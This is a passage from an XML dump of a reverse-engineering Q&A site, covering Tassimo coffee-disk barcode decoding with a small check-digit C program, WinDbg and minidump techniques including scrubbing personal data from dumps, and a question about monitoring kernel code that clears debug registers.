noreferrer&quot;&gt;Interleaved 2 of 5&lt;/a&gt; symbology and 6 digits. The last digit is the check digit calculated according to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Universal_Product_Code#Check_digits&quot; rel=&quot;nofollow noreferrer&quot;&gt;UPC Check Digit&lt;/a&gt; rules.&lt;br /&gt;&#xA;Actual barcodes with the checksum removed:&lt;/p&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;Barcode&lt;/th&gt;&#xA;&lt;th&gt;Product&lt;/th&gt;&#xA;&lt;th&gt;Output, ml&lt;/th&gt;&#xA;&lt;th&gt;Barcode binary&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;06409&lt;/td&gt;&#xA;&lt;td&gt;coffe créma&lt;/td&gt;&#xA;&lt;td&gt;150&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;00011001 00001001&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;06178&lt;/td&gt;&#xA;&lt;td&gt;espresso&lt;/td&gt;&#xA;&lt;td&gt;80&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;00011000 00100010&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;63735&lt;/td&gt;&#xA;&lt;td&gt;milk for latte (big disk)&lt;/td&gt;&#xA;&lt;td&gt;?&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;11111000 11110111&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;06182&lt;/td&gt;&#xA;&lt;td&gt;milk for cappuccino (small disk)&lt;/td&gt;&#xA;&lt;td&gt;?&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;00011000 00100110&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;06665&lt;/td&gt;&#xA;&lt;td&gt;hot chocolate&lt;/td&gt;&#xA;&lt;td&gt;?&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;00011010 00001001&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;07879&lt;/td&gt;&#xA;&lt;td&gt;service disk&lt;/td&gt;&#xA;&lt;td&gt;200&lt;/td&gt;&#xA;&lt;td&gt;&lt;code&gt;00011110 11000111&lt;/code&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;The service disk is used for cleaning, it makes hot water at 60° C flow straight through without any brewing time.&lt;/p&gt;&#xA;&lt;p&gt;Using a barcode printer, I tried to modify the Coffe Créma barcode to give 300 ml (the max amount from the patent). I did some really extensive testing, printing out and feeding the machine a handful of barcodes, and &lt;em&gt;it would seem&lt;/em&gt; there are six bits in the barcode, not four, that control the amount. The data is available &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1_uBt_U6h3ikUW98nolEZqYE-iGY2-3JgZYizDbAbS6k/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; at Google Docs. The 6-bit range in question is in the middle: last 3 bits of the first byte and first 3 bits of the second byte (big-endian). Because Google Docs don't support in-cell colours, there is also a more nicely coloured Excel file uploaded &lt;a href=&quot;https://docs.google.com/spreadsheets/d/0B6R95Kw26afzd1ZmNkk4aEljbjg/edit?usp=sharing&amp;amp;ouid=115083121392060786441&amp;amp;resourcekey=0-nzaUqZo7kDoGgsgfdzwfqA&amp;amp;rtpof=true&amp;amp;sd=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; at Google Drive.&lt;/p&gt;&#xA;&lt;p&gt;So I identified two 6-bit sequences that resulted in 300 ml for Crema.&lt;br /&gt;&#xA;For the sake of interest, I took one of the sequences and put it into the respective place of the original Espresso barcode. And there it is, I got 300 ml of Espresso.&lt;/p&gt;&#xA;&lt;p&gt;While this was sort of a success (I'm now able to produce barcodes with correct volumes for the drinks I'm interested in), I'm still completely lost as of exactly how this works. As you can see from the experiment table, the pattern is rather fuzzy, and there are entries that give same volume from different combination of bits. I'm also not sure I'm getting the same brewing parameters with the barcodes I made.&lt;/p&gt;&#xA;&lt;p&gt;Please share your ideas on how to understand this further.&lt;/p&gt;&#xA;" OwnerUserId="4202" LastEditorUserId="4202" LastEditDate="2021-09-23T16:07:09.040" LastActivityDate="2021-09-23T16:07:09.040" Title="Reverse engineering T-Disk barcodes for Tassimo coffee makers" Tags="|hardware|" AnswerCount="8" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3920" PostTypeId="2" ParentId="3850" CreationDate="2014-03-20T19:42:14.710" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/forum/entry.php?262-addsym-windbg-extension-(extension-to-load-names-from-ida-to-windbg)&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page contains an IDC script And a Windbg Extension &lt;/a&gt; to dump the names and a WinDbg extension to load those names into WinDbg.&lt;/p&gt;&#xA;&lt;p&gt;Edit&#xA;To Address the comment by @OzgurH&lt;/p&gt;&#xA;&lt;p&gt;yes the idc as well as AddSyntheticSymbol are slow in fact getting  a list of Names along with the boundaries from idc is tedious&#xA;(also it was done in idafree 5 which isn't available for some time now  only ida free7 is available which is only 64 bit&lt;/p&gt;&#xA;&lt;p&gt;so i havent checked it much&lt;/p&gt;&#xA;&lt;p&gt;but i simply wrote another windbg extension and leveraged the windbg script execution command line to add correct name and sizes&#xA;also by using this method i can have a reusable database of reversed symbol&lt;/p&gt;&#xA;&lt;p&gt;i have put the source / compile settings / precompiled binary in github &lt;a href=&quot;https://github.com/blabberer/windbg_labeller&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-09-20T07:08:54.143" LastActivityDate="2020-09-20T07:08:54.143" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="3921" PostTypeId="2" ParentId="3919" CreationDate="2014-03-20T19:50:47.243" Score="6" Body="&lt;p&gt;Consider the code that you were able to modify. The decimal representation of your modified code is 065375.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The checksum of 064095 =  3*0 + 6 + 3*4 + 0 + 3*9 + 5 = 50 (≡ 0 mod 10).&#xA;The checksum of 065375 =  3*0 + 6 + 3*5 + 3 + 3*7 + 5 = 50 (≡ 0 mod 10).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that this disk was accepted because the checksum matched, while your other disks weren't taken because of the wrong checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if i remove the checksum digit from the decimal numbers, and convert them to binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06409 = 0001 1001 0000 1001&#xA;06537 = 0001 1001 1000 1001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, that doesn't match anything from the patent volume table, even if i compare the larger volumes (170 / 230 to account for water that stays in the disc), or smaller volumes (130 / 190). - my two numbers have only one bit that's different, and each combination from the table needs more than one different bit. But, there's no guarantee for the volume table in the machine being identical to the one in the patent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try to take the above codes, flip one bit after another in each of them, calculate the decimal number, tack on the checksum digit, and print that to barcode, then check what happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bitflip 0001100100001001&#xA;1001100100001001 391771&#xA;0101100100001001 227933&#xA;0011100100001001 146012&#xA;0000100100001001 023139&#xA;0001000100001001 043618&#xA;0001110100001001 074339&#xA;0001101100001001 069212&#xA;0001100000001001 061537&#xA;0001100110001001 065375&#xA;0001100101001001 064736&#xA;0001100100101001 064415&#xA;0001100100011001 064255&#xA;0001100100000001 064019&#xA;0001100100001101 064132&#xA;0001100100001011 064118&#xA;0001100100001000 064088&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all these barcodes are accepted, they should produce different results which should give a hint at which bit has which meaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to play with some other bit combinations, here's the source to my bitflip program (it's not the cleanest code, and it will produce strange results if you throw anything but binary digits at it, but it will do the job):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv) {&#xA;    int pos, pos2, binval, checksum;&#xA;    char oldbit;&#xA;    char buf[10];&#xA;&#xA;    if (argc!=2 || strlen(argv[1]) != 16) {&#xA;            fprintf(stderr, &quot;Need a 16 bit binary value\n&quot;);&#xA;            exit(1);&#xA;    }&#xA;    for (pos=0; pos&amp;lt;16; pos++) {&#xA;            oldbit=argv[1][pos];&#xA;            argv[1][pos]=(oldbit == '1' ? '0' : '1');&#xA;            binval=0;&#xA;            for (pos2=0; pos2&amp;lt;16; pos2++) {&#xA;                    binval=(binval&amp;lt;&amp;lt;1) | (argv[1][pos2]=='1');&#xA;            }&#xA;            sprintf(buf, &quot;%05d&quot;, binval);&#xA;            checksum=&#xA;                     3*(buf[0]-'0')&#xA;                    +  (buf[1]-'0')&#xA;                    +3*(buf[2]-'0')&#xA;                    +  (buf[3]-'0')&#xA;                    +3*(buf[4]-'0');&#xA;            checksum=10-(checksum%10);&#xA;            if (checksum==10)&#xA;                    checksum=0;&#xA;            printf(&quot;%16s %5s%d\n&quot;, argv[1], buf, checksum);&#xA;            argv[1][pos]=oldbit;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-03-20T19:50:47.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3923" PostTypeId="2" ParentId="3898" CreationDate="2014-03-20T21:16:31.570" Score="2" Body="&lt;p&gt;in the code you posted all the variables &lt;code&gt;i,j,k,l,m&lt;/code&gt; are &lt;code&gt;local&lt;/code&gt; variables    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;they will all be located at an address below base pointer ie from [ebp-4] onwards   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use .cpp instead of c and make use of some advanatges of c++ in a c program like &#xA;not having to make declaration of variables at the start &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you need to access them in your own program you can use the following helper code&lt;br&gt;&#xA;this prints &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;all the registers  5 dwords above base pointer namely arguments to the    &#xA;function and 5 dwords below the base pointer namely Locals   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is a &lt;code&gt;naked&lt;/code&gt; function so it uses the ebp of the function from which it is called in your case the ebp constructed by main&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;    char regs_5args_and_5locs[] = &#xA;    { &#xA;        &quot;==========Registers===================\n&quot;&#xA;        &quot;eax = %08x\n&quot;&#xA;        &quot;ebx = %08x\n&quot;&#xA;        &quot;ecx = %08x\n&quot;&#xA;        &quot;edx = %08x\n&quot;&#xA;        &quot;esi = %08x\n&quot;&#xA;        &quot;edi = %08x\n&quot;&#xA;        &quot;esp = %08x\n&quot;&#xA;        &quot;ebp = %08x\n&quot;&#xA;        &quot;==========Arguments===================\n&quot;&#xA;        &quot;1rg = %08x\n&quot;&#xA;        &quot;2rg = %08x\n&quot;&#xA;        &quot;3rg = %08x\n&quot;&#xA;        &quot;4rg = %08x\n&quot;&#xA;        &quot;5rg = %08x\n&quot;&#xA;        &quot;==========Locals===================\n&quot;&#xA;        &quot;1lo = %08x\n&quot;&#xA;        &quot;2lo = %08x\n&quot;&#xA;        &quot;3lo = %08x\n&quot;&#xA;        &quot;4lo = %08x\n&quot;&#xA;        &quot;5lo = %08x\n&quot;&#xA;        &quot;===================================\n&quot;&#xA;    };&#xA; __declspec (naked) void regsargsnlocs(void)&#xA;{&#xA;    __asm&#xA;    {&#xA;        pushad&#xA;            pushfd&#xA;            push [ebp-0x14]&#xA;        push [ebp-0x10]&#xA;        push [ebp-0x0c]&#xA;        push [ebp-0x08]&#xA;        push [ebp-0x04] &#xA;        push [ebp+0x14]&#xA;        push [ebp+0x10] &#xA;        push [ebp+0x0c]&#xA;        push [ebp+0x08]&#xA;        push [ebp+0x04]&#xA;        push ebp&#xA;            push esp&#xA;            push edi&#xA;            push esi&#xA;            push edx&#xA;            push ecx&#xA;            push ebx&#xA;            push eax&#xA;            lea eax, regs_5args_and_5locs&#xA;            push eax        &#xA;            call printf&#xA;            add esp,0x4c&#xA;            popfd&#xA;            popad&#xA;            retn&#xA;    }   &#xA;}&#xA;&#xA;&#xA;void main()&#xA;{&#xA;    regsargsnlocs();    &#xA;    int i = 10;&#xA;    int j = -1;&#xA;    int k = 4;&#xA;    int l = 9;&#xA;    int m;&#xA;    regsargsnlocs();&#xA;    m = (i-j) + (k-l);&#xA;   regsargsnlocs();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the result as follows you can notice &#xA;i= 0xa ,j= -0x1,k= 0x4,l=0x9 ,m = 0x6 in the locals on the 2nd and 3rd invocation respectively&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\locvar&amp;gt;locvar.exe&#xA;==========Registers===================&#xA;eax = 000339e8&#xA;ebx = 7ffd4000&#xA;ecx = 00000001&#xA;edx = 0041dcf0&#xA;esi = 00000000&#xA;edi = 2d6648b4&#xA;esp = 0013ff10&#xA;ebp = 0013ff78&#xA;==========Arguments===================&#xA;1rg = 004013ca&#xA;2rg = 00000001&#xA;3rg = 000339c8&#xA;4rg = 000339e8&#xA;5rg = 4b9239ba&#xA;==========Locals===================&#xA;the locals have not been assigned yet we printed prior to them &#xA;notice this is a cpp program not c which wont allow you a function &#xA;before declaration of variables&#xA;1lo = 004039a1 &#xA;2lo = 00402d5b &#xA;3lo = 0013ff80 &#xA;4lo = 004039a1&#xA;5lo = 004086a8&#xA;===================================&#xA;==========Registers===================&#xA;eax = 000339e8&#xA;ebx = 7ffd4000&#xA;ecx = 00000001&#xA;edx = 0041dcf0&#xA;esi = 00000000&#xA;edi = 2d6648b4&#xA;esp = 0013ff10&#xA;ebp = 0013ff78&#xA;==========Arguments===================&#xA;1rg = 004013ca&#xA;2rg = 00000001&#xA;3rg = 000339c8&#xA;4rg = 000339e8&#xA;5rg = 4b9239ba&#xA;==========Locals===================&#xA;1lo = 0000000a   i&#xA;2lo = 00000004   k&#xA;3lo = 00000009   l&#xA;4lo = 004039a1    m not calculated yet&#xA;5lo = ffffffff   j&#xA;===================================&#xA;==========Registers===================&#xA;eax = 00000006&#xA;ebx = 7ffd4000&#xA;ecx = fffffffb&#xA;edx = 0041dcf0&#xA;esi = 00000000&#xA;edi = 2d6648b4&#xA;esp = 0013ff10&#xA;ebp = 0013ff78&#xA;==========Arguments===================&#xA;1rg = 004013ca&#xA;2rg = 00000001&#xA;3rg = 000339c8&#xA;4rg = 000339e8&#xA;5rg = 4b9239ba&#xA;==========Locals===================&#xA;1lo = 0000000a&#xA;2lo = 00000004&#xA;3lo = 00000009&#xA;4lo = 00000006   m calculated here 3rd invocation&#xA;5lo = ffffffff&#xA;===================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-03-20T21:16:31.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3924" PostTypeId="2" ParentId="3874" CreationDate="2014-03-20T21:50:31.540" Score="2" Body="&lt;p&gt;do not use the &lt;code&gt;a in /ma&lt;/code&gt; a means all info is dumped &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for peb to be included use &lt;code&gt;/p&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a basic dump without pdb will be created by&#xA;&#xA;C:\&amp;gt;cdb -c &quot;.dump /mrR /u c:\foo.dmp;q&quot; calc&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command '.dump /mrR /u c:\foo.dmp;q'&#xA;Creating c:\foo_0c84_2014-03-21_03-03-38-328_06fc.dmp - mini user dump&#xA;Dump successfully written&#xA;quit:&#xA;&#xA;C:\&amp;gt;cdb -z foo_0bd8_2014-03-21_03-02-11-359_0548.dmp&#xA;&#xA;7c90120e cc              int     3&#xA;&#xA;0:000&amp;gt; !peb&#xA;PEB NULL...&#xA;&#xA;0:000&amp;gt; q&#xA;quit:&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3355" LastEditDate="2014-03-20T23:14:48.897" LastActivityDate="2014-03-20T23:14:48.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3925" PostTypeId="2" ParentId="3875" CreationDate="2014-03-20T23:59:29.037" Score="2" Body="&lt;p&gt;if you are fine with hexediting the stream is documented in dbghelp.inc that comes with windbg sdk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use &lt;code&gt;dumpchk&lt;/code&gt; on the dmp file and find the &lt;code&gt;rva of the ModuleList stream&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is say 0x294 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will see the &lt;code&gt;_MINIDUMP_MODULE_LIST&lt;/code&gt; located there ignoring the first dword which is Number of modules &lt;code&gt;_MINIDUMP_MODULE&lt;/code&gt; follows  use &lt;code&gt;sizeof (_MINIDUMP_MODULE)&lt;/code&gt; to navigate to the next module &#xA;one of the field in each module struct is an rva to the module name &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the format of module name is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ulong32 size of string&#xA;wstr  name  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can hexedit the name there &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpchk foo.dmp | grep ModuleListStream&#xA;Loading dump file foo.dmp&#xA;Stream 1: type ModuleListStream (4), size 000004A8, RVA 00000294&#xA;&#xA;&#xA;C:\&amp;gt;xxd -s 0x294 -l 0x70 -g 4 foo.dmp&#xA;0000294: 0b000000 00000001 00000000 00f00100  ................&#xA;00002a4: fcd70100 10847d3b 660a0000 bd04effe  ......};f.......&#xA;00002b4: 00000100 01000500 0000280a 01000500  ..........(.....&#xA;00002c4: 0000280a 3f000000 00000000 04000400  ..(.?...........&#xA;00002d4: 01000000 00000000 00000000 00000000  ................&#xA;00002e4: 19000000 22110000 00000000 00000000  ....&quot;...........&#xA;00002f4: 00000000 00000000 00000000 00000000  ................&#xA;&#xA;C:\&amp;gt;xxd -s 0xa66 -l 0x20 -g 1 foo.dmp&#xA;0000a66: 10 00 00 00 63 00 61 00 6c 00 63 00 2e 00 65 00  ....c.a.l.c...e.&#xA;0000a76: 78 00 65 00 00 00 12 00 00 00 6e 00 74 00 64 00  x.e.......n.t.d.&#xA;&#xA;C:\&amp;gt;echo pathched with hxd&#xA;pathched with hxd&#xA;&#xA;C:\&amp;gt;xxd -s 0xa66 -l 0x20 -g 1 foo.dmp&#xA;0000a66: 10 00 00 00 64 00 61 00 6c 00 63 00 2e 00 65 00  ....d.a.l.c...e.&#xA;0000a76: 78 00 65 00 00 00 12 00 00 00 6e 00 74 00 64 00  x.e.......n.t.d.&#xA;&#xA;C:\&amp;gt;cdb -z foo.dmp&#xA;&#xA;0:000&amp;gt; |&#xA;.  0    id: 548 examine name: dalc.exe&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is how to delete peb from the dump file created with .dump /marR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &quot;.dump /marR /u c:\foo.dmp;q&quot; calc&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command '.dump /marR /u c:\foo.dmp;q'&#xA;Creating c:\foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp - mini user dump&#xA;Dump successfully written&#xA;quit:&#xA;&#xA;&#xA;C:\&amp;gt;ls -lh foo*&#xA;-rw-rw-rw-  1 Admin 0 14M 2014-03-22 13:38 foo_0fa4_2014-03-22_13-38-25-062_00a0&#xA;.dmp&#xA;&#xA;C:\&amp;gt;cdb  -c &quot;!peb;q&quot; -z foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;0:000&amp;gt; cdb: Reading initial command '!peb;q'&#xA;PEB at 7ffde000&#xA;    InheritedAddressSpace:    No&#xA;    ReadImageFileExecOptions: No&#xA;    BeingDebugged:            Yes&#xA;    ImageBaseAddress:         01000000&#xA;    Ldr                       001a1ea0&#xA;&#xA;&#xA;C:\&amp;gt;dumpchk foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp | grep -i peb&#xA;Loading dump file foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;PEB at 7ffde000&#xA;&#xA;C:\&amp;gt;dumpchk foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp | grep -i 7ffde000&#xA;Loading dump file foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;      62 00DA7ACE    7ffde000   00001000&#xA;PEB at 7ffde000&#xA;&#xA;C:\&amp;gt;xxd -s 0xda7ace -l 0x10 -g 1 foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;0da7ace: 00 00 01 00 ff ff ff ff 00 00 00 01 a0 1e 1a 00  ................&#xA;&#xA;C:\&amp;gt; filled 0x1000 bytes with 0 with hxd (selct block -&amp;gt; fill)&#xA;&#xA;C:\&amp;gt;xxd -s 0xda7ace -l 0x10 -g 1 foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;0da7ace: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;&#xA;&#xA;C:\&amp;gt;cdb  -c &quot;!peb;q&quot; -z foo_0fa4_2014-03-22_13-38-25-062_00a0.dmp&#xA;&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command '!peb;q'&#xA;PEB at 7ffde000&#xA;    InheritedAddressSpace:    No&#xA;    ReadImageFileExecOptions: No&#xA;    BeingDebugged:            No&#xA;    ImageBaseAddress:         00000000&#xA;    Ldr                       00000000&#xA;    *** unable to read Ldr table at 00000000&#xA;    SubSystemData:     00000000&#xA;    ProcessHeap:       00000000&#xA;    ProcessParameters: 00000000&#xA;    *** unable to read process parameters&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-03-22T09:07:26.350" LastActivityDate="2014-03-22T09:07:26.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3926" PostTypeId="2" ParentId="3789" CreationDate="2014-03-21T00:50:37.790" Score="2" Body="&lt;p&gt;no beast exist that will decompile 16 bit com program&lt;br&gt;&#xA;if you prefer to debug it look for grdb from ladsoft&lt;br&gt;&#xA;also have in hand a copy of ralf browns interrupt list for all the&lt;br&gt;&#xA;int 21 / int 10 SetCursor / GetCursor calls   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also make sure you rename the downloaded exe to be 8dot3 compatible&lt;br&gt;&#xA;(name less than 8 charecters)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GRDB.EXE firefi.com    &#xA;&#xA;Get Real Debugger Version 9.6  Copyright (c) 1997-2009 David Lindauer (LADSoft)&#xA;GRDB comes with ABSOLUTELY NO WARRANTY, for details type `?g'&#xA;This is free software, and you are welcome to redistribute it&#xA;under certain conditions; type `?gr' for details&#xA;&#xA;DPMI Start code hooked&#xA;History enabled&#xA;eax:00000000 ebx:00000000 ecx:00007500 edx:00000000 esi:00000000 edi:00000000&#xA;ebp:00000000 esp:0000FFEE eip:00000100 flag:00000202 NV UP EI PL NZ NA PO NC&#xA;ds:1F25 es:1F25 fs:1F25 gs:1F25 ss:1F25 cs:1F25&#xA;1F25:0100 E9 25 27       jmp          2828&#xA;Size: 00007500&#xA;-&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-03-21T00:50:37.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3927" PostTypeId="1" CreationDate="2014-03-21T01:32:54.363" Score="3" ViewCount="1430" Body="&lt;p&gt;In Olly/Immunity Debugger, I can search for &quot;All intermodular calls&quot;. Is there a way to do this using WinDBG?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4207" LastActivityDate="2014-03-22T08:13:32.250" Title="How to search for intermodular calls in WinDBG" Tags="|ollydbg|debuggers|windbg|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3928" PostTypeId="2" ParentId="3874" CreationDate="2014-03-21T07:36:40.930" Score="2" Body="&lt;p&gt;It seems the following works for me. First, assume I have a full minidump, not necessarily created by WinDbg, but rather ProcDump, Task Manager or Process Explorer. In any case it will be equivalent to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.dump /ma &amp;lt;dumpname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To remove the personal data, I first erase the PEB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? @$peb&#xA;Evaluate expression: 2130567168 = 7efde000&#xA;&#xA;0:000&amp;gt; ?? sizeof(nt!_PEB)&#xA;unsigned int 0x248&#xA;&#xA;0:000&amp;gt; f 7efde000 L248 0; *** Fill PEB with zeros&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this operation &lt;code&gt;!peb&lt;/code&gt; is not useful any more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !peb&#xA;PEB at 7efde000&#xA;    InheritedAddressSpace:    No&#xA;    ReadImageFileExecOptions: No&#xA;    BeingDebugged:            No&#xA;    ImageBaseAddress:         00000000&#xA;    Ldr                       00000000&#xA;    *** unable to read Ldr table at 00000000&#xA;    SubSystemData:     00000000&#xA;    ProcessHeap:       00000000&#xA;    ProcessParameters: 00000000&#xA;    *** unable to read process parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, write the empty PEB and remove module directory names using the &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;R&lt;/code&gt; switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .dump /marR &amp;lt;dumpname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb897439.aspx&quot; rel=&quot;nofollow&quot;&gt;SysInternals Strings&lt;/a&gt; on that dump does not reveal anything critical in the dump I used for testing.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2014-03-21T07:36:40.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3930" PostTypeId="1" AcceptedAnswerId="3963" CreationDate="2014-03-21T16:34:12.243" Score="5" ViewCount="1755" Body="&lt;p&gt;I would like to set up a virtual machine monitor using Microsoft Hyper-V, VMware vSphere/ESX, Xen, or any other alternative hypervisor solution that is able to monitor the execution of a guest OS (a VM within the VMM). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I'd like to be able to view the guest OS' instructions before they are run by the virtual CPU. Additionally, I'd also like to be able to set monitors on some of the guest OS' CPU registers so if they are modified (e.g. on write with a MOV instruction), the guest's state will be suspended at the location where the write occurred (and the rip/eip will point to that instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been searching for a VMM solution that exposes a way to accomplish my goals, but I couldn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the best way of approaching such a thing is? Any recommendations on the hypervisor that I should be using? (I'm guessing that Xen would probably be easiest to modify and debug since it's open source)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I'll try to explain myself better. I'm attempting to debug code running in kernel-mode (x86-64). Right now, I'm using WinDbg to debug the ring0 code in a virtual machine (VMware). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could, I would be more than happy in setting a hardware breakpoint (ba) on a memory location and seeing what reads/writes to it. The problem is that my hardware breakpoints are being disabled by the code running in ring0. Basically, this code is saving the contents of the dr7 register off, clearing it, accessing the memory that I'm watching (the memory I set the hardware breakpoint on), and finally is restoring the dr7 register after access. Thus, my hardware breakpoint is never hit. This means I never figure out where the memory was being manipulated from. Suffice it to say that software breakpoints are not an acceptable alternative. Additionally, I've also tried mucking 